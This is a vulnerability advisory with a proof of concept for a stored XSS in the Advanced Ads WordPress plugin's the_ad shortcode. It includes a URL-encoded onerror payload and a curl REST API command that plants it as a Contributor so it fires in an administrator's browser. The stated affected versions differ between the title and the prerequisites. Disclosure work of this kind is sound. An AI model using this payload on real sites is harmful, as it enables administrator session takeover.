Advanced Ads – Ad Manager & AdSense < 2.0.23 – Contributor+ Stored XSS via the_ad Shortcode 'ad_args' Parameter | CVE 2026-10082

Description

The plugin does not sanitize and escape a shortcode parameter before outputting it in the page, allowing users with the Contributor role and above to inject arbitrary web scripts that execute when the affected content is viewed, including by higher-privileged users.

Proof of Concept

Prerequisites:
- Advanced Ads <= 2.0.21 active.
- At least one ad exists; note its ID (example below uses ad ID 3).
- A Contributor (or higher) account. Contributors do not have the unfiltered_html capability.

Steps:
1. As the Contributor, create a post (Contributors submit it as pending) whose content is the the_ad shortcode below. The override markup is URL-encoded JSON so it survives wp_kses_post on save:

[the_ad id="3" ad_args="%7B%22override%22%3A%22ADV17_ADARGS_XSS%3Cimg%20src%3Dx%20onerror%3Dalert%281708%29%3E%22%7D"]

Decoded ad_args value: {"override":"ADV17_ADARGS_XSS<img src=x onerror=alert(1708)>"}

Storing it via the REST API as the Contributor:
curl -k -u 'contributor:APP_PASSWORD' -X POST 'https://TARGET/wp-json/wp/v2/posts' \
  -H 'Content-Type: application/json' \
  --data '{"title":"PoC","status":"pending","content":"[the_ad id=\"3\" ad_args=\"%7B%22override%22%3A%22ADV17_ADARGS_XSS%3Cimg%20src%3Dx%20onerror%3Dalert%281708%29%3E%22%7D\"]"}'

2. When an Editor/Administrator previews or publishes the submission (or any visitor views it once published), the shortcode renders and the override value is output unescaped.

Expected result:
The page output contains the raw, unescaped tag:
ADV17_ADARGS_XSS<img src=x onerror=alert(1708)>
The onerror handler executes JavaScript in the viewer's browser (admin session when reviewed in wp-admin).